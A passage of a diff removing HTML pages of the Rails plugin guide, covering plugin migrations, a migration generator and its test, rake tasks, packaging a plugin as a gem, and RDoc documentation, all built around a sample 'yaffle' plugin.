- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>up
- create_table <span style="color: #990000">:</span>birdhouses<span style="color: #990000">,</span> <span style="color: #990000">:</span>force <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span> <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>t<span style="color: #990000">|</span>
- t<span style="color: #990000">.</span>string <span style="color: #990000">:</span>name
- t<span style="color: #990000">.</span>timestamps
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>down
- drop_table <span style="color: #990000">:</span>birdhouses
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>Here are a few possibilities for how to allow developers to use your plugin migrations:</p></div>
-<h3 id="_create_a_custom_rake_task">11.1. Create a custom rake task</h3>
-<div class="paragraph"><p><strong>vendor/plugins/yaffle/lib/db/migrate/20081116181115_create_birdhouses.rb:</strong></p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> CreateBirdhouses <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Migration
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>up
- create_table <span style="color: #990000">:</span>birdhouses<span style="color: #990000">,</span> <span style="color: #990000">:</span>force <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span> <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>t<span style="color: #990000">|</span>
- t<span style="color: #990000">.</span>string <span style="color: #990000">:</span>name
- t<span style="color: #990000">.</span>timestamps
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>down
- drop_table <span style="color: #990000">:</span>birdhouses
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p><strong>vendor/plugins/yaffle/tasks/yaffle.rake:</strong></p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>namespace <span style="color: #990000">:</span>db <span style="font-weight: bold"><span style="color: #0000FF">do</span></span>
- namespace <span style="color: #990000">:</span>migrate <span style="font-weight: bold"><span style="color: #0000FF">do</span></span>
- desc <span style="color: #FF0000">"Migrate the database through scripts in vendor/plugins/yaffle/lib/db/migrate and update db/schema.rb by invoking db:schema:dump. Target specific version with VERSION=x. Turn off output with VERBOSE=false."</span>
- task <span style="color: #990000">:</span>yaffle <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>environment <span style="font-weight: bold"><span style="color: #0000FF">do</span></span>
- ActiveRecord<span style="color: #990000">::</span>Migration<span style="color: #990000">.</span>verbose <span style="color: #990000">=</span> ENV<span style="color: #990000">[</span><span style="color: #FF0000">"VERBOSE"</span><span style="color: #990000">]</span> <span style="color: #990000">?</span> ENV<span style="color: #990000">[</span><span style="color: #FF0000">"VERBOSE"</span><span style="color: #990000">]</span> <span style="color: #990000">==</span> <span style="color: #FF0000">"true"</span> <span style="color: #990000">:</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span>
- ActiveRecord<span style="color: #990000">::</span>Migrator<span style="color: #990000">.</span>migrate<span style="color: #990000">(</span><span style="color: #FF0000">"vendor/plugins/yaffle/lib/db/migrate/"</span><span style="color: #990000">,</span> ENV<span style="color: #990000">[</span><span style="color: #FF0000">"VERSION"</span><span style="color: #990000">]</span> <span style="color: #990000">?</span> ENV<span style="color: #990000">[</span><span style="color: #FF0000">"VERSION"</span><span style="color: #990000">].</span>to_i <span style="color: #990000">:</span> <span style="font-weight: bold"><span style="color: #0000FF">nil</span></span><span style="color: #990000">)</span>
- Rake<span style="color: #990000">::</span>Task<span style="color: #990000">[</span><span style="color: #FF0000">"db:schema:dump"</span><span style="color: #990000">].</span>invoke <span style="font-weight: bold"><span style="color: #0000FF">if</span></span> ActiveRecord<span style="color: #990000">::</span>Base<span style="color: #990000">.</span>schema_format <span style="color: #990000">==</span> <span style="color: #990000">:</span>ruby
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<h3 id="_call_migrations_directly">11.2. Call migrations directly</h3>
-<div class="paragraph"><p><strong>vendor/plugins/yaffle/lib/yaffle.rb:</strong></p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>Dir<span style="color: #990000">.</span>glob<span style="color: #990000">(</span>File<span style="color: #990000">.</span>join<span style="color: #990000">(</span>File<span style="color: #990000">.</span>dirname<span style="color: #990000">(</span><span style="font-weight: bold"><span style="color: #0000FF">__FILE__</span></span><span style="color: #990000">),</span> <span style="color: #FF0000">"db"</span><span style="color: #990000">,</span> <span style="color: #FF0000">"migrate"</span><span style="color: #990000">,</span> <span style="color: #FF0000">"*"</span><span style="color: #990000">)).</span>each <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>file<span style="color: #990000">|</span>
- <span style="font-weight: bold"><span style="color: #000080">require</span></span> file
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p><strong>db/migrate/20081116181115_create_birdhouses.rb:</strong></p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> CreateBirdhouses <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Migration
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>up
- Yaffle<span style="color: #990000">::</span>CreateBirdhouses<span style="color: #990000">.</span>up
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>down
- Yaffle<span style="color: #990000">::</span>CreateBirdhouses<span style="color: #990000">.</span>down
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
-<td class="content">
-<div class="title">Editor&#8217;s note:</div>several plugin frameworks such as Desert and Engines provide more advanced plugin functionality.</td>
-</tr></table>
-</div>
-<h3 id="_generate_migrations">11.3. Generate migrations</h3>
-<div class="paragraph"><p>Generating migrations has several advantages over other methods. Namely, you can allow other developers to more easily customize the migration. The flow looks like this:</p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-call your script/generate script and pass in whatever options they need
-</p>
-</li>
-<li>
-<p>
-examine the generated migration, adding/removing columns or other options as necessary
-</p>
-</li>
-</ul></div>
-<div class="paragraph"><p>This example will demonstrate how to use one of the built-in generator methods named <em>migration_template</em> to create a migration file. Extending the rails migration generator requires a somewhat intimate knowledge of the migration generator internals, so it&#8217;s best to write a test first:</p></div>
-<div class="paragraph"><p><strong>vendor/plugins/yaffle/test/yaffle_migration_generator_test.rb</strong></p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #000080">require</span></span> File<span style="color: #990000">.</span>dirname<span style="color: #990000">(</span><span style="font-weight: bold"><span style="color: #0000FF">__FILE__</span></span><span style="color: #990000">)</span> <span style="color: #990000">+</span> <span style="color: #FF0000">'/test_helper.rb'</span>
-<span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'rails_generator'</span>
-<span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'rails_generator/scripts/generate'</span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> MigrationGeneratorTest <span style="color: #990000">&lt;</span> Test<span style="color: #990000">::</span>Unit<span style="color: #990000">::</span>TestCase
-
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> setup
- FileUtils<span style="color: #990000">.</span>mkdir_p<span style="color: #990000">(</span>fake_rails_root<span style="color: #990000">)</span>
- <span style="color: #009900">@original_files</span> <span style="color: #990000">=</span> file_list
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> teardown
- ActiveRecord<span style="color: #990000">::</span>Base<span style="color: #990000">.</span>pluralize_table_names <span style="color: #990000">=</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span>
- FileUtils<span style="color: #990000">.</span>rm_r<span style="color: #990000">(</span>fake_rails_root<span style="color: #990000">)</span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_generates_correct_file_name
- Rails<span style="color: #990000">::</span>Generator<span style="color: #990000">::</span>Scripts<span style="color: #990000">::</span>Generate<span style="color: #990000">.</span>new<span style="color: #990000">.</span>run<span style="color: #990000">([</span><span style="color: #FF0000">"yaffle_migration"</span><span style="color: #990000">,</span> <span style="color: #FF0000">"some_name_nobody_is_likely_to_ever_use_in_a_real_migration"</span><span style="color: #990000">],</span> <span style="color: #990000">:</span>destination <span style="color: #990000">=&gt;</span> fake_rails_root<span style="color: #990000">)</span>
- new_file <span style="color: #990000">=</span> <span style="color: #990000">(</span>file_list <span style="color: #990000">-</span> <span style="color: #009900">@original_files</span><span style="color: #990000">).</span>first
- assert_match <span style="color: #FF6600">/add_yaffle_fields_to_some_name_nobody_is_likely_to_ever_use_in_a_real_migrations/</span><span style="color: #990000">,</span> new_file
- assert_match <span style="color: #FF6600">/add_column :some_name_nobody_is_likely_to_ever_use_in_a_real_migrations do |t|/</span><span style="color: #990000">,</span> File<span style="color: #990000">.</span>read<span style="color: #990000">(</span>new_file<span style="color: #990000">)</span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_pluralizes_properly
- ActiveRecord<span style="color: #990000">::</span>Base<span style="color: #990000">.</span>pluralize_table_names <span style="color: #990000">=</span> <span style="font-weight: bold"><span style="color: #0000FF">false</span></span>
- Rails<span style="color: #990000">::</span>Generator<span style="color: #990000">::</span>Scripts<span style="color: #990000">::</span>Generate<span style="color: #990000">.</span>new<span style="color: #990000">.</span>run<span style="color: #990000">([</span><span style="color: #FF0000">"yaffle_migration"</span><span style="color: #990000">,</span> <span style="color: #FF0000">"some_name_nobody_is_likely_to_ever_use_in_a_real_migration"</span><span style="color: #990000">],</span> <span style="color: #990000">:</span>destination <span style="color: #990000">=&gt;</span> fake_rails_root<span style="color: #990000">)</span>
- new_file <span style="color: #990000">=</span> <span style="color: #990000">(</span>file_list <span style="color: #990000">-</span> <span style="color: #009900">@original_files</span><span style="color: #990000">).</span>first
- assert_match <span style="color: #FF6600">/add_yaffle_fields_to_some_name_nobody_is_likely_to_ever_use_in_a_real_migration/</span><span style="color: #990000">,</span> new_file
- assert_match <span style="color: #FF6600">/add_column :some_name_nobody_is_likely_to_ever_use_in_a_real_migration do |t|/</span><span style="color: #990000">,</span> File<span style="color: #990000">.</span>read<span style="color: #990000">(</span>new_file<span style="color: #990000">)</span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
- private
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> fake_rails_root
- File<span style="color: #990000">.</span>join<span style="color: #990000">(</span>File<span style="color: #990000">.</span>dirname<span style="color: #990000">(</span><span style="font-weight: bold"><span style="color: #0000FF">__FILE__</span></span><span style="color: #990000">),</span> <span style="color: #FF0000">'rails_root'</span><span style="color: #990000">)</span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> file_list
- Dir<span style="color: #990000">.</span>glob<span style="color: #990000">(</span>File<span style="color: #990000">.</span>join<span style="color: #990000">(</span>fake_rails_root<span style="color: #990000">,</span> <span style="color: #FF0000">"db"</span><span style="color: #990000">,</span> <span style="color: #FF0000">"migrate"</span><span style="color: #990000">,</span> <span style="color: #FF0000">"*"</span><span style="color: #990000">))</span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
-<td class="content">
-<div class="title">Editor&#8217;s note:</div>the migration generator checks to see if a migation already exists, and it&#8217;s hard-coded to check the <em>db/migrate</em> directory. As a result, if your test tries to generate a migration that already exists in the app, it will fail. The easy workaround is to make sure that the name you generate in your test is very unlikely to actually appear in the app.</td>
-</tr></table>
-</div>
-<div class="paragraph"><p>After running the test with <em>rake</em> you can make it pass with:</p></div>
-<div class="paragraph"><p><strong>vendor/plugins/yaffle/generators/yaffle/yaffle_generator.rb</strong></p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> YaffleMigrationGenerator <span style="color: #990000">&lt;</span> Rails<span style="color: #990000">::</span>Generator<span style="color: #990000">::</span>NamedBase
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> manifest
- record <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>m<span style="color: #990000">|</span>
- m<span style="color: #990000">.</span>migration_template <span style="color: #FF0000">'migration:migration.rb'</span><span style="color: #990000">,</span> <span style="color: #FF0000">"db/migrate"</span><span style="color: #990000">,</span> <span style="color: #FF0000">{</span><span style="color: #990000">:</span>assigns <span style="color: #990000">=&gt;</span> yaffle_local_assigns<span style="color: #990000">,</span>
- <span style="color: #990000">:</span>migration_file_name <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"add_yaffle_fields_to_#{custom_file_name}"</span>
- <span style="color: #FF0000">}</span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
- private
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> custom_file_name
- custom_name <span style="color: #990000">=</span> class_name<span style="color: #990000">.</span>underscore<span style="color: #990000">.</span>downcase
- custom_name <span style="color: #990000">=</span> custom_name<span style="color: #990000">.</span>pluralize <span style="font-weight: bold"><span style="color: #0000FF">if</span></span> ActiveRecord<span style="color: #990000">::</span>Base<span style="color: #990000">.</span>pluralize_table_names
- custom_name
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> yaffle_local_assigns
- returning<span style="color: #990000">(</span>assigns <span style="color: #990000">=</span> <span style="color: #FF0000">{}</span><span style="color: #990000">)</span> <span style="font-weight: bold"><span style="color: #0000FF">do</span></span>
- assigns<span style="color: #990000">[:</span>migration_action<span style="color: #990000">]</span> <span style="color: #990000">=</span> <span style="color: #FF0000">"add"</span>
- assigns<span style="color: #990000">[:</span>class_name<span style="color: #990000">]</span> <span style="color: #990000">=</span> <span style="color: #FF0000">"add_yaffle_fields_to_#{custom_file_name}"</span>
- assigns<span style="color: #990000">[:</span>table_name<span style="color: #990000">]</span> <span style="color: #990000">=</span> custom_file_name
- assigns<span style="color: #990000">[:</span>attributes<span style="color: #990000">]</span> <span style="color: #990000">=</span> <span style="color: #990000">[</span>Rails<span style="color: #990000">::</span>Generator<span style="color: #990000">::</span>GeneratedAttribute<span style="color: #990000">.</span>new<span style="color: #990000">(</span><span style="color: #FF0000">"last_squawk"</span><span style="color: #990000">,</span> <span style="color: #FF0000">"string"</span><span style="color: #990000">)]</span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>The generator creates a new file in <em>db/migrate</em> with a timestamp and an <em>add_column</em> statement. It reuses the built in rails <tt>migration_template</tt> method, and reuses the built-in rails migration template.</p></div>
-<div class="paragraph"><p>It&#8217;s courteous to check to see if table names are being pluralized whenever you create a generator that needs to be aware of table names. This way people using your generator won&#8217;t have to manually change the generated files if they&#8217;ve turned pluralization off.</p></div>
-<div class="paragraph"><p>To run the generator, type the following at the command line:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>./script/generate yaffle_migration bird</tt></pre>
-</div></div>
-<div class="paragraph"><p>and you will see a new file:</p></div>
-<div class="paragraph"><p><strong>db/migrate/20080529225649_add_yaffle_fields_to_birds.rb</strong></p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> AddYaffleFieldsToBirds <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Migration
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>up
- add_column <span style="color: #990000">:</span>birds<span style="color: #990000">,</span> <span style="color: #990000">:</span>last_squawk<span style="color: #990000">,</span> <span style="color: #990000">:</span>string
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>down
- remove_column <span style="color: #990000">:</span>birds<span style="color: #990000">,</span> <span style="color: #990000">:</span>last_squawk
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-</div>
-<h2 id="_rake_tasks">12. Rake tasks</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>When you created the plugin with the built-in rails generator, it generated a rake file for you in <em>vendor/plugins/yaffle/tasks/yaffle.rake</em>. Any rake task you add here will be available to the app.</p></div>
-<div class="paragraph"><p>Many plugin authors put all of their rake tasks into a common namespace that is the same as the plugin, like so:</p></div>
-<div class="paragraph"><p><strong>vendor/plugins/yaffle/tasks/yaffle.rake</strong></p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>namespace <span style="color: #990000">:</span>yaffle <span style="font-weight: bold"><span style="color: #0000FF">do</span></span>
- desc <span style="color: #FF0000">"Prints out the word 'Yaffle'"</span>
- task <span style="color: #990000">:</span>squawk <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>environment <span style="font-weight: bold"><span style="color: #0000FF">do</span></span>
- puts <span style="color: #FF0000">"squawk!"</span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>When you run <tt>rake -T</tt> from your plugin you will see:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>yaffle:squawk # Prints out the word 'Yaffle'</tt></pre>
-</div></div>
-<div class="paragraph"><p>You can add as many files as you want in the tasks directory, and if they end in .rake Rails will pick them up.</p></div>
-<div class="paragraph"><p>Note that tasks from <em>vendor/plugins/yaffle/Rakefile</em> are not available to the main app.</p></div>
-</div>
-<h2 id="_plugingems">13. PluginGems</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>Turning your rails plugin into a gem is a simple and straightforward task. This section will cover how to turn your plugin into a gem. It will not cover how to distribute that gem.</p></div>
-<div class="paragraph"><p>Historically rails plugins loaded the plugin&#8217;s <em>init.rb</em> file. In fact some plugins contain all of their code in that one file. To be compatible with plugins, <em>init.rb</em> was moved to <em>rails/init.rb</em>.</p></div>
-<div class="paragraph"><p>It&#8217;s common practice to put any developer-centric rake tasks (such as tests, rdoc and gem package tasks) in <em>Rakefile</em>. A rake task that packages the gem might look like this:</p></div>
-<div class="paragraph"><p><strong>vendor/plugins/yaffle/Rakefile:</strong></p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>PKG_FILES <span style="color: #990000">=</span> FileList<span style="color: #990000">[</span>
- <span style="color: #FF0000">'[a-zA-Z]*'</span><span style="color: #990000">,</span>
- <span style="color: #FF0000">'generators/**/*'</span><span style="color: #990000">,</span>
- <span style="color: #FF0000">'lib/**/*'</span><span style="color: #990000">,</span>
- <span style="color: #FF0000">'rails/**/*'</span><span style="color: #990000">,</span>
- <span style="color: #FF0000">'tasks/**/*'</span><span style="color: #990000">,</span>
- <span style="color: #FF0000">'test/**/*'</span>
-<span style="color: #990000">]</span>
-
-spec <span style="color: #990000">=</span> Gem<span style="color: #990000">::</span>Specification<span style="color: #990000">.</span>new <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>s<span style="color: #990000">|</span>
- s<span style="color: #990000">.</span>name <span style="color: #990000">=</span> <span style="color: #FF0000">"yaffle"</span>
- s<span style="color: #990000">.</span>version <span style="color: #990000">=</span> <span style="color: #FF0000">"0.0.1"</span>
- s<span style="color: #990000">.</span>author <span style="color: #990000">=</span> <span style="color: #FF0000">"Gleeful Yaffler"</span>
- s<span style="color: #990000">.</span>email <span style="color: #990000">=</span> <span style="color: #FF0000">"yaffle@example.com"</span>
- s<span style="color: #990000">.</span>homepage <span style="color: #990000">=</span> <span style="color: #FF0000">"http://yafflers.example.com/"</span>
- s<span style="color: #990000">.</span>platform <span style="color: #990000">=</span> Gem<span style="color: #990000">::</span>Platform<span style="color: #990000">::</span>RUBY
- s<span style="color: #990000">.</span>summary <span style="color: #990000">=</span> <span style="color: #FF0000">"Sharing Yaffle Goodness"</span>
- s<span style="color: #990000">.</span>files <span style="color: #990000">=</span> PKG_FILES<span style="color: #990000">.</span>to_a
- s<span style="color: #990000">.</span>require_path <span style="color: #990000">=</span> <span style="color: #FF0000">"lib"</span>
- s<span style="color: #990000">.</span>has_rdoc <span style="color: #990000">=</span> <span style="font-weight: bold"><span style="color: #0000FF">false</span></span>
- s<span style="color: #990000">.</span>extra_rdoc_files <span style="color: #990000">=</span> <span style="color: #990000">[</span><span style="color: #FF0000">"README"</span><span style="color: #990000">]</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-desc <span style="color: #FF0000">'Turn this plugin into a gem.'</span>
-Rake<span style="color: #990000">::</span>GemPackageTask<span style="color: #990000">.</span>new<span style="color: #990000">(</span>spec<span style="color: #990000">)</span> <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>pkg<span style="color: #990000">|</span>
- pkg<span style="color: #990000">.</span>gem_spec <span style="color: #990000">=</span> spec
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>To build and install the gem locally, run the following commands:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>cd vendor/plugins/yaffle
-rake gem
-sudo gem install pkg/yaffle-0.0.1.gem</tt></pre>
-</div></div>
-<div class="paragraph"><p>To test this, create a new rails app, add <em>config.gem "yaffle"</em> to environment.rb and all of your plugin&#8217;s functionality will be available to you.</p></div>
-</div>
-<h2 id="_rdoc_documentation">14. RDoc Documentation</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>Once your plugin is stable and you are ready to deploy do everyone else a favor and document it! Luckily, writing documentation for your plugin is easy.</p></div>
-<div class="paragraph"><p>The first step is to update the README file with detailed information about how to use your plugin. A few key things to include are:</p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-Your name
-</p>
-</li>
-<li>
-<p>
-How to install
-</p>
-</li>
-<li>
-<p>
-How to add the functionality to the app (several examples of common use cases)
-</p>
-</li>
-<li>
-<p>
-Warning, gotchas or tips that might help save users time
-</p>
-</li>
-</ul></div>
-<div class="paragraph"><p>Once your README is solid, go through and add rdoc comments to all of the methods that developers will use. It&#8217;s also customary to add <em>#:nodoc:</em> comments to those parts of the code that are not part of the public api.</p></div>
-<div class="paragraph"><p>Once your comments are good to go, navigate to your plugin directory and run:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>rake rdoc</tt></pre>
-</div></div>
-</div>
-<h2 id="_appendix">15. Appendix</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>If you prefer to use RSpec instead of Test::Unit, you may be interested in the <a href="http://github.com/pat-maddox/rspec-plugin-generator/tree/master">RSpec Plugin Generator</a>.</p></div>
-<h3 id="_references">15.1. References</h3>
-<div class="ulist"><ul>
-<li>
-<p>
-<a href="http://nubyonrails.com/articles/the-complete-guide-to-rails-plugins-part-i">http://nubyonrails.com/articles/the-complete-guide-to-rails-plugins-part-i</a>
-</p>
-</li>
-<li>
-<p>
-<a href="http://nubyonrails.com/articles/2006/05/09/the-complete-guide-to-rails-plugins-part-ii">http://nubyonrails.com/articles/2006/05/09/the-complete-guide-to-rails-plugins-part-ii</a>
-</p>
-</li>
-<li>
-<p>
-<a href="http://github.com/technoweenie/attachment_fu/tree/master">http://github.com/technoweenie/attachment_fu/tree/master</a>
-</p>
-</li>
-<li>
-<p>
-<a href="http://daddy.platte.name/2007/05/rails-plugins-keep-initrb-thin.html">http://daddy.platte.name/2007/05/rails-plugins-keep-initrb-thin.html</a>
-</p>
-</li>
-<li>
-<p>
-<a href="http://www.mbleigh.com/2008/6/11/gemplugins-a-brief-introduction-to-the-future-of-rails-plugins">http://www.mbleigh.com/2008/6/11/gemplugins-a-brief-introduction-to-the-future-of-rails-plugins</a>
-</p>
-</li>
-<li>
-<p>
-<a href="http://weblog.jamisbuck.org/2006/10/26/monkey-patching-rails-extending-routes-2">http://weblog.jamisbuck.org/2006/10/26/monkey-patching-rails-extending-routes-2</a>.
-</p>
-</li>
-</ul></div>
-<h3 id="_contents_of_em_lib_yaffle_rb_em">15.2. Contents of <em>lib/yaffle.rb</em></h3>
-<div class="paragraph"><p><strong>vendor/plugins/yaffle/lib/yaffle.rb:</strong></p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">"yaffle/core_ext"</span>
-<span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">"yaffle/acts_as_yaffle"</span>
-<span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">"yaffle/commands"</span>
-<span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">"yaffle/routing"</span>
-
-<span style="color: #990000">%</span>w<span style="color: #FF0000">{</span> models controllers helpers <span style="color: #FF0000">}</span><span style="color: #990000">.</span>each <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>dir<span style="color: #990000">|</span>
- path <span style="color: #990000">=</span> File<span style="color: #990000">.</span>join<span style="color: #990000">(</span>File<span style="color: #990000">.</span>dirname<span style="color: #990000">(</span><span style="font-weight: bold"><span style="color: #0000FF">__FILE__</span></span><span style="color: #990000">),</span> <span style="color: #FF0000">'app'</span><span style="color: #990000">,</span> dir<span style="color: #990000">)</span>
- <span style="color: #009900">$LOAD_PATH</span> <span style="color: #990000">&lt;&lt;</span> path
- ActiveSupport<span style="color: #990000">::</span>Dependencies<span style="color: #990000">.</span>load_paths <span style="color: #990000">&lt;&lt;</span> path
- ActiveSupport<span style="color: #990000">::</span>Dependencies<span style="color: #990000">.</span>load_once_paths<span style="color: #990000">.</span>delete<span style="color: #990000">(</span>path<span style="color: #990000">)</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-style: italic"><span style="color: #9A1900"># optionally:</span></span>
-<span style="font-style: italic"><span style="color: #9A1900"># Dir.glob(File.join(File.dirname(__FILE__), "db", "migrate", "*")).each do |file|</span></span>
-<span style="font-style: italic"><span style="color: #9A1900"># require file</span></span>
-<span style="font-style: italic"><span style="color: #9A1900"># end</span></span>
-</tt></pre></div></div>
